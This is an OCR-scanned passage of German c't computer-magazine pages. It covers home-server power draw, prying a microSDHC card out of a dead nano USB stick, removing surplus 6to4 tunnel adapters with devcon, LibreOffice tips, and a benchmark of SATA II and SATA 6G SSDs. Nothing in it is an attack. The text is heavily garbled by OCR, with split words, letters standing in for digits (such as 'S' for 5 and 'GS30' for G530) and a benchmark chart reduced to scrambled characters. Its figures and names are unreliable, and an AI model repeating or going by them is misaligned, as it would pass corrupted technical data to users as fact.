ten und USB hat Tücken:  E inerseits begrenzt 
USB  2.0 d ie  Datentra nsferrate auf rund 
36 M Byte/s, andere rseits sch l uckt manche 
externe 3,S-Zoi i -Festplatte mehr  a l s  12  Watt. 
S innvo l l  wäre a l so nu r  der E insatz von exter­
nen 2,S-Zo i i -Laufwerken mit  USB  3.0. Doch 
heru m l iegende Kabel und die vermut l ich 
n icht fü r Dauerbetrieb ausgelegten Lüfter in  
M in i-PCs und  Netbooks l assen kei ne hohe 
Zuver läss igkeit erwa rten .  Geräte mit  Fast 
Ethernet kommen ohneh in  n icht i nfrage, 
wei l  damit höchstens etwa 1 0  MByte/s mög­
l ich sind - Gigabit Ethernet bringt mehr a l s  
das Zehnfache. 

Wie i n  c't 23/1 1 gezeigt, kann  man einen 
le isen Server auf Bas is e ines besonders effi­
zienten Micro-ATX-Main boards mit Celeron 
GS30 und zwei 3,S-Zo i i -P iatten baste ln ,  der 
im  Leer lauf mit 27 Watt auskommt. Mit 2,S­
Zoi i -P iatten s ind Werte u m  20 Watt erreich­
bar. Der erwähnte Celeron l iefert dabei min­
destens  d ie  doppelte Rechen le istu ng e ines 
Atom N2800 oder AMD E-4SO, d ie be ide a l ­
lerd ings  fü r F i le-Server ausreichen:  Beim Zu­
g riff auf  g roße, u nversch l ü sselte Date ien 
kan n  man Gigabit Ethernet annähernd aus­
reizen ( rund 1 00 MByte/s) .  Be im Schreiben 
mit ei nfacher AES-Versch lüsse l ung s ind b loß 
etwa 3S MByte/s d rin ,  beim Lesen dann mehr 
a l s  80 M Byte/s. Der Celeron GS30 schafft 
u nter Windows Server über SO MByte/s auch 
beim Schreiben versch lüsselter Daten auf e in 
Software-RAID-S. 

Wei l  e in  typischer Home-Server d ie meiste 
Zeit m it N ichtstun  verbri ngt, i st d ie  Leis­
tungsaufnahme im Leer lauf fü r die Strom­
kosten entscheidend. Die sparsamsten Note­
oder Netbooks kommen dann  mit  weniger 
a ls  6 Watt a us, bei beza h l ba ren M in i-Rech­
nern wie der Zbox ID81 s ind es eher 1 S  Watt. 
Zusammen m it e iner externen 3,S-Zoi i -P iatte 

Ein "richtiger" Home Server kann  mehr a ls  ein aufgebrezelter 
Min i-PC. 
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l n  Nano-USB­
Sticks stecken oft 

microSDHC­
Speicherkarten.  
Mit etwas Glück 

lassen sich durch 
Ausbau der Karte 

die Daten auch 
dann noch in  

einem anderen 
Karten leser 

auslesen, wenn 
der eigentliche 
Stick den Geist 

aufgegeben hat. 

werden leicht 25 Watt erreicht, a l so ähn l iche 
Werte wie beim erwähnten E igenbau-Server 
oder auch dem i n  c't 3/1 2 vorgeste l lten Acer 
AC 1 00. Den g ibt es fü r u nter 500 Euro - a l ler­
d ings  ohne Betriebssystem, mit  b loß e iner  
Platte und 2 GByte RAM, was  wegen der On­
boa rd-GPU n icht  fü r Windows Home Server 
201 1 reicht. Bei Ru nd-u m-die-U h r-Betrieb an 
a l len 8760 Stunden eines Jahres und e inem 
Strompreis von 23 ct/kWh kostet jedes Watt 
rund 2 Euro jährl ich - bei 25 Watt fa l len a l so 
zi rka 50 Euro an .  (ciw) 

Daten von Nano-USB-Stick 
retten 

1:t1 Mein daumennage lg roßer Na no-USB­
U Stick hat se inen Geist aufgegeben und  
wird von  me inem Rech ner  n icht mehr  er­
kannt. G ibt es noch e ine Chance, d ie Daten 
zu retten, ohne e inen teu ren professionel len 
Daten retter damit zu beauftragen? 

D Sofern nur der Contro l ler  defekt ist und 
nicht der F lash-Speicher an  s ich, kön nten 

Sie G lück haben. ln vie len Nano-USB-Sticks ­
aber längst n icht a l len, d ie  d iesen Namen tra­
gen - sind anders als in herkömml ichen Spei­
chersticks keine nackten F lash-Speicherch ips 
verlötet, sondern es handelt s ich i m  Pr inz ip 
um eine Art M in i-Karten leser, der Daten auf 
e iner m icroSDHC-Speicherka rte ab legt. Zur 
Daten rettung kön nen S ie versuchen, d ie mi­
c roSDHC-Ka rte aus  dem Gehäuse zu lösen 
und die Daten ansch l ießend m it e inem ande­
ren USB-Karten lesegerät auszu lesen. 

Um die microSDHC-Karte freizu legen, he­
beln Sie zunächst mit einer Zange die Meta l l ­
spange der USB-Schn ittste l l e  a uf. Daru nter 
kommt dann  e in  P last ikra h men zum Vor­
schein, in dem Plat ine und Speicherkarte ste­
cken, Knipsen Sie den Rah men mit der Zange' 
vorsichtig auf, achten S ie aber  da rauf, dass 
Sie dabei n icht auch d ie Speicherkarte erwi­
schen. Ansch l ießend kön nen S ie die Spei­
cherkarte aus dem Rahmen lösen - manch­
ma l  hakt das e in wen ig - et voi la :  S ie ha lten 
I h re Daten wieder i n  den Händen.  
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Se ien  S ie s ich a l lerd i ngs bewusst, dass 
beim Zerlegen des Sticks auch das R is iko be­
steht, Daten u nwiederbring l ich zu zerstören .  
Öffnen Sie den Stick a lso nu r, wenn es keinen 
anderen Ausweg g ibt und e ine professionel le 
Daten rettung n icht infrage kom mt. (boi) 

Überzählige Tunneladapter 
entfernen 

l:f1 1 ch  b in  mit  meinem Windows-7-Note­
U book oft i n  g roßen WLANs u nterwegs. 
Ich habe beobachtet, dass s ich dad u rch stän­
dig neue "6to4-Tun ne ladapter" i n sta l l ieren; 
i nzwischen s ind es 1 47 Stück. Da sie al le a l s  
Schn ittste l len  i n  der  Ausgabe von i pconfig 
auftauchen, verdrängen sie die nützl ichen In­
formationen.  Ich bekomme die blöden Tun­
nel zwar im  Gerätemanager zu sehen, wenn  
i ch  u nter "Ansicht" den  Punkt "Ausgeblende­
te Geräte anzeigen" auswäh le. Doch kann  ich 
s ie nur e i nze ln  a n kl i cken und löschen, was 
bei 1 47 Ei nträgen viel zu lästig i st. Geht das 
n icht i rgendwie automatisch?  

D Mit Microsofts Prog ram m  devcon .exe 
lassen s ich die meisten Aufgaben des 

Gerätemanagers auf der Kommandozei le  er­
led igen .  M icrosoft unterstützt devcon zwar 
n u r  b i s  Windows XP, aber es fu n ktion ie rt 
auch mit neueren Windows-Vers ionen.  

Laden Sie sich das Prog ramm ü ber den c't­
L ink unten herunter und entpacken Sie es. Sie 
finden zwei Versionen für 32- beziehungswei­
se 64-Bit-Windows in zwei Ordnern. 

l n  einem E ingabefenster mit Admin i stra­
torrechten geben Sie dann den Befeh l :  

devcon remove *6to4MP 

e in .  Der löscht ohne weitere Nachfrage a l le 
6to4-Tu nneladapter. 

Vorsicht! Achten Sie da ra uf, dass Sie auf 
keinen Fa l l  h i nter dem Stern e in  Leerzeichen 
eingeben. Denn  dann entfernt devcon ohne 
weitere Nachfrage sämtl iche Tre iber aus  
dem System. (je) 
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Grammatikprüfung nachrüsten 

t:;1 Die Rechtsch re ibkorrektur  von L ibre­
H Office reicht fü r meine Zwecke n icht aus, 
da sie nu r  e inze lne  Wörter, aber n icht den 
Kontext prüft. Kann  man s ie u m  eine Gram­
matikprüfung erweitern? 

D Es g ibt e ine Extens ion namens Langua­
geTool ,  d ie  L ibreOffice und auch Open­

Office um eine Sti l - und Grammatikprüfung 
erweitert. S ie u nterstützt zah l re iche Spra­
chen wie Eng l i sch, Deutsch, F ranzösisch und 
Poln i sch, i n  denen s ie e infache Grammati k­
fehler wie den fa lschen Gebrauch von S ingu­
la r  und P lu ra l  erkennt, a rbeitet aber n icht so 
zuver läss ig wie Microsofts Grammatikprü­
fung i n  Ward. Die LanguageTooi-Extens ion 
g ibt es auf der L ibreOffice-Website im  Exten­
sions-Bereich zum Download (s iehe c't-Lin k) .  

Online-Hilfe ohne Internet 

t:;1 Die H i lfe-Funktion benötigt e ine On l ine­
H Verbindung,  u m  Texte aus  dem I nternet 
zu laden. Da ich viel u nterwegs b in und u nter 
anderem im Zug am Notebook a rbeite, kann  
i ch  s i e  n i ch t  a ufrufen .  Kan n  man d ie  H i lfe 
auch loka l  insta l l ieren? 

D Das ist mög l ich, nur l iefert das LibreOffice­
Team sie n icht im Standardpaket mit. 

Mit einem zusätzl ichen Down Ioad, den Sie auf 
der LibreOffice-Website finden (siehe c't-Link), 
können Sie d ie H i lfetexte nach rüsten. 

Datei-History erweitern 

t:;1 Das Datei-Menü von L ibreOffice zeigt 
H unter "Zuletzt benutzte Dokumente" nu r  
zehn Dateien an .  Kan n  i ch  d ie Liste ähn l ich 
wie i n  Ward verg rößern? l n . den Optionen 
finde ich dafür keine E inste l l ung .  

D Die g ibt es i n  der  Tat n icht. Man kann  d ie  
Listengröße aber ü ber e inen E intrag i n  

de r  Konfigurationsdatei main .xcd anpassen, 
die sich u nterha lb des LibreOffice-Programm­
verzeichn isses im  Ordner share\reg istry\ be­
findet und sich m it jedem Editor bearbeiten 
lässt. Unter Windows 7 und Vista müssen Sie 
main .xcd zuvor in  ein anderes Verzeichn is  ko­
pieren und nach dem Ändern mit Admin istra­
torrechten in den u rsprüng l ichen Ordner zu­
rückkopieren. Suchen Sie in der Datei den 
Eintrag PicklistSize, dem der Wert 1 0 zuge­
ordnet i st. Diesen können Sie mit einem be­
l iebigen Wert zwischen 0 und 1 00 überschrei-

1 48 

Dieter Brors 

LibreOffice 
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ben. D ie  Änderung wi rkt s ich g lobal  auf  a l l e  
Benutzer aus .  Noch e infacher fun ktioniert e s  
m i t  de r  OpenOffice-Extension H i story Master 
(s iehe c't-Li n k), die auch in L ibreOffice l äuft 
und e in paar Zusatzfun ktionen mitbr ingt, u m  
etwa Listen inha lte z u  verschieben. 

Texte verformen 

t:;'1 1 ch möchte i n  Writer Texte ä h n l ich wie i n  
H Microsofts WardArt verformen und  mit  
Effekten versehen.  

D E in  solches Werkzeug i st i n  Writer e inge­
baut, he ißt h ier  n u r  Fontwork und  l ässt 

sich ü ber eine eigene Symbol le iste a ufrufen, 
d ie Sie u nter Ansieht/Symbol le isten e inblen­
den können .  ln d ieser fi ndet s ich l i n ks e i n  
Symbol mit dem Buchstaben A ,  ü ber das Sie 
d ie Fontwork Ga l lery aufrufen kön nen.  Dort 
wäh l t  man  e i nfach den gewünschten Typ 
aus  und g ibt se inen Text e in .  

Bilder rotieren 

t:;'1 1ch habe zah l re iche Fotos i n  e in  Writer­
H Dokument e ingefügt und  möchte e in ige 
davon u m  90 Grad gegen den U h rzeigers inn  
vom Quer- i n s  Hochformat d rehen.  I m  Kon­
textmenü finde ich dafür aber keine Option .  
l n  den B i ld-E igenschaften g i bt es nur  d ie  
Mögl ichkeit, B i l de r  horizonta l oder  vert ika l  zu  
spiege ln .  

D l n  L ibreOffice feh lt  ebenso wie i n  Open­
Office e ine Funktion zum Drehen von Bi l ­

dern. S ie können s ich damit behelfen, jedes 
B i ld  über d ie  Zwischenablage nach Draw zu 
kopieren, dort zu d rehen und wieder zurück 
i n s  Writer-Dokument zu kopieren .  Besser ist 
es jedoch, d ie B i lder vorher auf  Betriebs­
systemebene oder mit H i lfe eines separaten 
B i ldbearbeitungstaels  zu d rehen, sodass sie 
korrekt a usgerichtet auf der Festplatte ge­
speichert werden.  Das spart das läst ige H in ­
und  Herkopieren. 

Hyperlinks in Calc 

t:;'1 1 n  e i n e r  Ca lc-Tabel le h a b e  i c h  e i n e  Spa lte 
H fü r Webl i nks vorgesehen .  Nach E ingabe 
der URL  setzt d ie  Autokorrektur-Fu n ktion au­
tomatisch den Lin k, h i nterlegt i h n  aber  mit 
g rauer  Fa rbe. Da n icht d ie  gesamte Zel le, 
sondern n u r  der  Text e ingefärbt wi rd, sieht 
das häss l i ch  aus. Außerdem schaffe ich es 
n icht, die Sch riftfa rbe der  URL zu ändern .  

Zwar kan n  ich s ie u nter Format/Ze l len aus­
wählen,  d ie E inste l l ung wird aber  n icht über­
nommen.  Wie kan n  ich  Textfa rbe und Zel l ­
h i nterg rund trotzdem e instel len?  

D Geben Sie d ie URL  n icht d i rekt ein,  son­
dern t ippen den Befeh l  =HYPERLINK i n  die 

Zel le  oder d ie E ingabezei le, gefolgt von der 
Webadresse i n  K lammern und Anfü h rungs­
zeichen, a lso zum Beispiel  =HYPERLINK(

"
http:// 

www.heise.de"). Optional können Sie einen belie­
bigen Text über den Link  legen, den Calc an­
zeigt, wenn sich der Mauszeiger über der Zel le 
befindet: =HYPERLINK(

"
http://www.heise.de";"heise on­

line"). Fehlt der zweite Parameter, zeigt Calc die 
URL selbst an. Danach können Sie d ie Zel l e  
w ie  jede andere formatieren. 

Damit S ie in einer bestehenden Tabel le 
n icht jeden Eintrag per Hand ändern müssen, 
kön nen Sie neben der Spa lte m it den L inks 
eine neue einfügen und in der ersten Zei le d ie 
Hyperl i nk-Funktion e ingeben. Als Parameter 
setzen Sie ei nfach die Adresse der Zel le  mit 
der URL, etwa =HYPERLINK(D1 ) .  Anschl ießend se­
lektieren Sie die neue Zel le, position ieren den 
Mauszeiger an der rechten unteren Ecke und 
ziehen das Kästchen bei gedrückter l i nker 
Maustaste bis zum Ende der Spa lte auf. Den 
Zel lbezug in  der Hyperl i nk-Formel passt Calc 
automatisch an .  Danach empfieh lt es sich, die 
Orig ina l spa lte zu verstecken, damit sie nicht 
stört. Dazu selekt iert man s ie und kl ickt im 
Kontextmenü auf Ausblenden. Wenn der L ink 
n icht ankl ickbar sein m uss, können Sie auch 
="www.heise.de" schre iben oder u nter Extras/ 
Autokorrektur im Reiter Optionen den Haken 
bei "U RL erkennen" wegnehmen. 

Makros aufzeichnen 

t:;'1 1 ch  b in  von OpenOffice auf  LibreOffice 
H u mgestiegen und vermisse h ier  d ie Mög­
l i chkeit, Makros aufzuze ichnen .  Im Extras­
Menü g ibt es u nter Makros n u r  E i nträge, u m  
Makros auszufü h ren und  z u  verwa lten .  

D Der Makrorecorder i st  zwa r  auch i n  Libre­
Office entha lten, genügt aber n icht den 

Qua l itätsansprüchen der Entwickler. Desha lb  
haben s ie i h n  standardmäßig deaktiviert. S ie  
kön nen i h n  aber  zum Vorschein holen, wen n  
S i e  i n  den L ibreOffice-E instel l u ngen u nter 
A l lgemein vor der Option "Aktiviere experi­
mente l le  ( instab i le) Funktionen" e in  Häkchen 
setzen .  ln den LibreOffice-Anwendungen er­
scheint dann  u nter Extras/Makros der Befeh l  
zum Aufzeichnen.  (db) 
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Prüfstand I Solid-State Disks 

Boi Feddern 

Am Limit 
Die Geschwi ndigkeit von SATA-1 1 - u n d  SATA-6G-SSDs i n  der Praxis 

Solid-State Disks mit SATA-6G-Sch n ittstel le l iefern das zweifache 
Tempo von SATA-1 1-SSDs. Doch desha l b  SATA 6G nachzurüsten 
erfordert beim PC einen Mainboa rd-Ta usch und beim Notebook 
den Neu kauf. Lohnt der Aufwa nd? 

N eue Sol id-State D i sks kommen mit  
6 GBit/s schne l le r  Ser ia i -ATA-Schn itt­

ste l l e  in den Hande l  und  können darüber  
theoretisch b is  zu 600 Megabyte pro Sekun­
de übertragen. l n  der Praxis schaffen d ie mo­
mentan schne l l sten Model le  etwas mehr a l s  
500  MByte/s und  vera rbeiten Daten dam it 
knapp 50 Prozent schne l ler  a l s  SSDs mit  der  
nu r  3 GBit/s schnel len SATA- 1 1 -Schn ittstel le: 
Die schaffen höchstens 270 MByte/s, l iegen 
damit aber immer noch rund 60 MByte/s vor 
den b isher schne l l sten Mag netplatten .  Der 
g rößte Vorte i l  e iner SSD gegenüber  e iner  
herkömml ichen Festplatte l iegt jedoch n icht 

1 50 

i n  der  höheren Transferrate bei sequenziel­
len Zug riffen, sondern i n  den 1 50- b is  600-
fach kü rzeren Zugriffszeiten. 

A l s  Maß h ierfü r geben die Herste l l e r  in 
i h ren Datenb lättern d ie  höchstmög l iche An­
zah l  der E i n-/ und Ausgabeoperationen pro 
Seku nde ( I/Os pro Seku nde, IOPS) an ,  d ie  
e ine SSD be im Zugriff auf k le ine  (4-KByte-)­
Datenb löcke bewä ltigt. SATA- 1 1 -SSDs schaf­
fen 40 000 IOPS und damit mehr  a l s  200-ma l  
so v ie l  wie d ie  schne l l sten SATA-P iatten,  
SATA-6G-SSDs sogar  fast 1 00 000 IOPS. Des­
ha lb  sta rten Anwendungen und Betriebssys­
tem von e iner SSD bl i tzschne l l  - auch deut-

l ieh schne l ler  a l s  etwa von e inem RAID 0 aus  
herkömml ichen Festplatten m it ä h n l ichen 
Transferraten, aber e inem Bruchtei l  der IOPS. 
Und wei l  d ie  aus F lash-Speicherch ips aufge­
bauten Massenspeicher ohne Mechan ik  aus­
kommen, a rbeiten sie auch noch völ l ig  laut­
los. Doch welche U nterschiede g i bt es zwi­
schen superschne l len Mitte lklasse-SSDs und 
lohnt s ich SATA 6G ü berhau pt? 

SATA 6G oder SATA I I ?  

SATA-6G-SSDs s i n d  heute erste Wah l ,  
sch l ieß l i ch  bieten s ie  doppelt  so hohes 
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Prüfstand I Solid-State Disks 

Tempo wie SATA- 1 1 -SSDs, oft fü r wenig mehr 
Geld .  Die Höchstgeschwind igkeit von SATA-
6G-SSDs lässt s ich jedoch n u r  dann nutzen, 
wen n sie optima l  angebunden s ind .  D ie 
beste Wah l  dafü r s ind d ie SATA-6G-Ports des 
Mainboard-Chipsatzes (meist Port 0 oder 1 ) ,  
e ine sch lechte h ingegen SATA-6G-Anschl üs­
se, die per Zusatzch ip  (etwa von Marvel l ,  Jmi­
cron oder Asmedia) ans  Boa rd d rangefu m­
melt wurden. S ie s ind eher a l s  eSATA-Adap­
ter oder Notlösung fü r zusätz l iche Festplat­
ten oder optische Laufwerke gedacht: Vol le  
SATA-6G-Performance i st h ier  techn isch oft 
nicht mög l ich und Probleme treten häufiger 
auf a ls  bei den Ch ipsatz-Ports. 

Desha lb ist es auch keine gute Idee, SATA-
6G-Schnittste l len mit H i lfe e iner PCI-Express­
Steckka rte nachzu rüsten :  Fa l l s  die PCie-An­
sch lüsse des Ma inboards b loß d ie Geschwin­
d igkeit von PCI Express 1 .0 ( 1 . 1 )  unterstüt­
zen, l i efert ein PC ie-x 1 -Port höchstens 
250 MByte/s - da s ind meistens schon die 
SATA- 1 1 -Ports des Ch ipsatzes schne l le r. Bei 

Zum Ansch luss von 
SATA-6G-SSDs sol lte 
man immer die Ports 
des Chipsatzes (h ier 
rot) wählen. Per 
Zusatzchip von As­
media, Jmicron oder 
Marvell angeflanschte 
Ports - auf d iesem 
Board grau - können 
bremsen und ver­
ursachen häufiger 
Probleme. 

PCI Express 2.0 beträgt die Übertragungsge­
schwind igkeit i m merh in  500 M Byte/s . Das 
reicht zwar fü r viele SATA-6G-SSDs, doch oft 
sind auch spezie l le  Treiber und B IOS-Setup­
E inste l l ungen nötig. Der konventione l le  PCI­
Bus i st m it seinen maxima l  1 30 M Byte/s oh­
nehin viel zu lahm fü r aktue l le SSDs. 

Wer die Höchstgeschwi nd igkeit von 
SATA-6G-SSDs ausreizen möchte und keinen 
neueren Rechner mit d i rekt a m  Ch ipsatz an­
gebundenen SATA-6G-Schn ittste l l en  hat, 
kom mt a l so  um e inen Ma in board-Wechsel  
n icht heru m.  Beim Notebook, bei dem s ich 
d ie P lat ine n icht einfach tauschen lässt, stün­
de e in  Neukauf i n s  Haus .  Das lohnt s ich fast 
n ie .  SATA-6G-SSDs s ind rückwärtskompati­
bel, laufen a lso auch an  SATA-1 1 -Ports. Im  Ex­
tremfa l l  ha l b ieren s ich dann  a l le rd i ngs  d ie  
sequenz ie l len Transferraten und  auch  d ie  
Anzah l  der IOPS .  Ob der i n  Benchmarks deut­
l ich messba re U nterschied zwischen SATA I I  
und SATA 6 G  i n  d e r  Praxis aber tatsäch l ich so 
g roß  ist und SSDs mit  mehr  IOPS auch ge-

SATA-1 1- u n d  SATA-6G-SSDs im Verg leich 

füh lt mehr  Tem po i n  der  Praxis br ingen,  
haben wir  ausprobiert. 

Wettrennen 

Im  c't-Labor l ießen wir  sieben SSDs aus dem 
aktue l len Angebot gegeneinander antreten, 
die ganz u ntersch ied l iche Voraussetzungen 
mitbr ingen: l ntels SSD 320 sowie d ie MR98 1 
aus  der  ProSeries von Med iaRange besitzen 
nur  e ine Seriai-ATA-1 1 -Schn ittstel le. Die Media­
Range-SSD a rbeitet obendrein mit einem ural­
ten l nd i l i nx-Contro l ler  mit bescheidenem 
Tem po aus den Anfangszeiten von SATA-1 1-
SSDs. Diese beiden mussten sich mit aktuel len 
SATA-6G-Model len messen: l n  l ntels  SSD 520 
steckt der Sandforce-Control ler  SF-228 1 von 
LSI, der besonders hohe SATA-6G-Transferra­
ten du rch Datenkompression erreicht. 

Diese erweist sich dann  a l s  h i nder l ich ,  
wen n  man bere its  kompr im ierte Daten 
schre ibt, a l so beisp ie lsweise M P3-Mus ik, 
F i lme oder JPEG-B i lder. Die Datentransferra­
ten s inken dann teilweise von ü ber 500 auf 
u nter 1 00 MByte/s - also u nter das N iveau äl­
terer SATA- 1 1 -SSDs, wie sich auch i n  unseren 
Benchmarks m it lometer ab lesen lässt. Dieser 
sch reibt ebenfa l l s  sch lecht kompr im ierbare 
Testdaten. Auch bei der Versch l üsse lung von 
Sandforce-SSDs m it Software, beispielsweise 
mit TrueCrypt, kann  die Schreibgeschwindig­
keit anders a ls bei anderen Model len ohne 
datenkompr im ierenden Contro l le r  enorm 
abnehmen [ 1 ] .  

D ie SSD 330  i st e i ne  bauähn l iche B i l l ig-Va­
riante der SSD 520 mit Sandforce-Ch ip, in der 
langsamere F lash-Speicherch ips stecken. Da­
d u rch erreicht s ie höchstens e in  Drittel der 
IOPS des Schwestermode l l s  und ist auch bei  
seq uenzie l l en  Zugriffen l angsa mer. H i nzu 
gesel lten s ich noch Samsungs  SSD 830 mit 
Samsung-Contro l le r  sowie a l s  Vertreter der 
SSDs mit  Marve i i -Ch ips d ie  m4 von Cruc ia l .  
S ie erreichen ihr  hohes SATA-6G-Tempo an­
ders a l s  d ie l ntei-SSDs ohne Tricks wie Daten­
kompress ion - a l so in a l l en  Lebens lagen.  
G le iches g i l t  a uch fü r d ie Vertex 4 von OCZ 
mit " l nd i l i nx-Contro l le r", wobei es s ich i n  
Wa h rheit u m  e inen  übertakteten Marvei i ­
Chip neuerer Bauart handelt, mit dem d iese 
SSD die momentan höchsten IOPS-Raten 
a l le r  SATA-6G-Model le  erzielt. 

Modell Schnittstelle male eHe Traiüfirrate VOS pro stküiiili Bootzelt Wlndows 7 
lse<l beim S<hrelben/Lesen von 1 28-KByte-Biöcken 

[MByte/sP 

Crucial m4 (256 GByte) SATA 6G (6 GBit!s) --A:==����;;::::::ii"25SoO/i551M4 
Intel SSD 320 (120 GByte) SATA II (3 GBit!s) 1 3 1 /262 
Intel SSD 330 (120 GByte) SATA 6G (6 GBit/s) 
Intel SSD 520 (240 GByte) SATA 6G (6 GBit/s) 

--ilc=======147/521 
-----==:-:::::::1 292/529 

MediaRange MR981 SSD Pro Series ( 1 20 GByte) SATA I I (3 GBit/s) 108/259 

bei zufällig veneilten Schreib-/Lesezugriffen 
(Random Write/Read) m� 4-KByte-Biöcken2 

33784/47413 
---=--� 22091/38054 
---· 35758/24356 
------· 63000/46000 

1 650/1 7330 
oa venex 4 (512 GByte) 

::o m-...... J
SA
�
TA
�
6
;
G
�
(6
�
GB
�
it!�s)��;;;;;;;��4�38�/446;

� 
_ _;;;;������

56071/84540 
Samsung SSD 830 (256 GByte) 

� 
SATA 6G (6 GBit/s) 334/505 2 9410/716 19 

1 gemessen m� lometer, 32 outstanding 1/0 
2 gemessen mit lometer, 32 outstanding 1/0, 8 GB e großer Teilbereich der Disk, Messdauer: 5 Minuten 
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1 7,2 
---- 1 8,7 
--- 16,9 
---· 16,5 
---- 19,3 
---· 1 7,3 
--- 15,2 
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Kaum U ntersch iede 

Obwoh l  d ie  nackten Messwerte von SSDs 
(s iehe Tabel le  auf d ieser Seite) e ine andere 
Sprache sprechen, i st der in der  Praxis spür­
ba re Geschwind igkeitsuntersch ied zwischen 
SATA- 1 1 - und SATA-6G-SSDs äu ßerst ger ing .  
Beim Laden e ines mächt igen Sp ie les  wie 
Anno 1 404 etwa kommt es n i cht nur auf  
ku rze Zugriffszeiten, sondern auch auf hohe 
sequenziel le Transferraten an,  da zu Spie lbe­
g i n n  g roße Mengen an Texturen ge laden 
werden m üssen. E igent l ich erwartet man 
h ier von SATA-6G-SSDs e inen Geschwind ig­
keitsvortei L  Doch egal ,  von welcher  der h ier  
vorgeste l lten SSDs wir  das Spiel laden l ießen: 
es verg i ngen immer 35 Sekunden.  

Beim Start von Windows 7, bei dem Daten 
an vielen versch iedenen Ste l l en  der P latte 
gelesen we·rden, erhofft man sich e inen Vor­
teil du rch besonders ku rze Zugriffszeiten be­
zieh ungsweise d u rch e ine  besonders hohe 
Anzah l  a n  E in- und  Ausgabeoperationen pro 
Sekunde.  Anders a l s  e rwartet l i eferte aber 
n icht d ie SSD mit den höchsten IOPS-Raten, 
die Vertex 4 von OCZ, an unserem Testsys­
tem die kü rzesten Bootzeiten, sondern d ie  
beim Lesen u m  10  000  IOPS l angsamere 
SSD 830 von Samsung.  H ier  dauerte es n u r  
r u n d  1 5  Seku nden b is  zum Ersche inen des 
Sta rtbi ldsch i rms, bei der Vertex 4 h i ngegen 
1 7  Sekunden. Die vermeint l ich langsameren 
l ntei-SSDs 330 und 520 waren ebenfa l l s  
schnel ler . Erwartungsgemäß fie l  n u r  d a s  Er­
gebnis  des Letztplatz ierten aus :  Die MR981 
mit SATA- 1 1 -Schn ittstel l e  und dem vera lteten 
lnd i l i nx-Contro l ler  braucht g ut 1 9  Sekunden 
zum Windows-Sta rt. 

E i n  anderes B i ld  erg i bt s ich bei Messun­
gen mit dem BAPCo SYSmark 201 2 [2]. Der 
anwendungsorientierte Benchmark s imu l iert 
Arbeitsablä ufe mit  Standa rdanwend u n gen 
wie Excel oder  Photoshop. l n  den d re i  Test­
d i szip l i nen Web Development, Data Ana lysis 
( Excel) und System Management (WinZip)  
zeigte d ie Vertex 4 d ie beste Leistung.  Nur l n­
tels SSD 520 l iegt be im Web Development 
g le ichauf und  kan n  i n  den E i nze ld iszip l inen 
Office Productivity (Ward, Excel, Photoshop) 
sowie Media Creation (unter anderem Photo­
shop) d ie Vertex 4 sogar  noch übertrum pfen .  
Den S ieg i m  3 D-Model i ng  (unter anderem 

1 95 1 74 
1 96 1 75 
1 96 1 76 
193 1 7 1 
1 96 1 74 
1 95 1 74 
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AutoCAD, 3 DS Max) holt sich etwas ü berra­
schend l nte ls ä ltere SSD 320 mit SATA- 1 1 -
Schn ittste l le .  

Erwartungsgemäß d ie  schwächsten Werte 
in den meisten D i szip l i nen  - a ber  n icht i n  
a l len - l iefert d i e  MR98 1 von Med iaRange mit  
vera lteter Techn ik. Genere l l  betragen d ie Un­
tersch iede zwischen der  jewe i l s  l ahmsten 
und schne l l sten SSD i n  den einze lnen Diszip­
l i nen  unseres BAPCo-Tests aber höchstens 
zeh n  Punkte beziehungsweise vier P rozent ­
d iesen U ntersch ied wi rd man ohne Bench­
mark a ls  H i lfsm itte l kau m  spüren .  l n  der  
BAPCo-Gesamtwertung u ntersche iden s ich 
d ie SSDs sogar  höchstens u m  vier Punkte -
oder zwei Prozent - und das, obwoh l  d ie Me­
d i aRa nge-SSD n u r  ein F ünfzigste! der 1/0-
Leistung von OCZs Vertex 4 1 iefert. 

Dabei kommt es auch n icht da rauf an,  ob 
man  e ine  SATA-6G-SSD tatsäch l ich  per 
SATA 6G mit  dem Rechner  verb indet oder 
nur per SATA I I .  Bei Samsungs SSD 830 bei­
spie lsweise gehen dann zwar sowoh l  die se­
q uenziel len Transferraten als auch d ie IOPS­
Raten um rund ein D rittel zurück, d ies wi rkte 
s ich a ber  wie bei a l l en  anderen SSDs, bei 
denen die Geschwind igkeitse i nbußen bei 
der Transfergeschwind igkeit tei lweise noch 
deut l icher  s ind, weder a uf d ie  Bootdauer  
noch d ie  BAPCo-SYSmark-Messu ngen nen­
nenswert aus .  

Das zeigt, dass  höhere IOPS-Raten und 
höhere Transferraten zwar e ind rucksvo l l  das  
tec h n i sche Potenz ia l  des SSD-Contro l l e rs 
widersp iege ln ,  bei m E i n satz e ine r  SSD i m  
PC o d e r  Notebock l etzt l i ch  a b e r  kau m  i n s  
Gewicht fa l l en .  D i e  von d e n  Herste l l ern be­
worbene höchstmög l i che  Anza h l  an E in ­
u n d  Ausgabeoperat ionen e rreichen SSDs 
etwa nur  dann ,  wen n  s ie  m i t  b i s  zu 32 
g l e ichzeit igen Anfragen jong l i e re n .  I m  PC 
oder Notebock kommt das  se l ten vor .  H ier  
s ind  es i m  A l ltag oft nur  d re i  oder v ier Th re­
ads, welche d ie  SSD g le ichzeit ig a ba rbeiten 
muss - und das  schaffen a l l e  aktue l len  Mo­
de l le  so schne l l ,  dass man keine Geschwin­
d igkeitsuntersch iede merkt. ln  Server-Syste­
men,  wo besonders IOPS-Raten gefordert 
s i nd ,  kom mt es wiederu m d a rauf  an ,  dass  
SSDs d iese auch  konstant l i efern können .  
Das  vermag  jedoch kei n e  der  h i e r  vorge: 
ste l lten, fü r den PC beziehungsweise Note-

230 - 138 
200 233 - 137 
200 235 - 139 
1 98 228 - 135 
197 235 - 140 
197 232 - 136 
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book-E insatz konzip ierten Mode l le  zu le i s­
ten.  I n sbesondere bei  anha ltenden Dauer­
schre ibzugriffen s i nkt die Leistung a l l mäh­
l i ch .  

Fazit 

Benchmark-Ergebnisse s ind eine feine Sache, 
doch der Al ltag sieht a nders aus .  Bei in der 
Praxis häufigen Zugriffsmustern können SSDs 
ihr theoretisches Potenzial offenbar selten auf 
d ie Straße bringen. Für welche SSD aus dem 
a ktue l len Angebot man sich auch entschei­
det: Der Rechner a rbeitet nach dem Umrüsten 
erhebl ich schnel ler  a l s  mit Magnetplatte. 
Auch ä ltere Systeme lassen sich so noch ein­
mal flott machen, sofern sie schon mit einem 
Mehrkern-Prozessor ausgerüstet sind. Dabei 
spielt es keine Rol le, ob man die SSD per 
SATA 6G oder SATA I I betreibt: Man erspart 
s ich Kummer, wenn man auf das Nachrüsten 
von SATA-6G-Adaptern verzichtet. Da SATA-
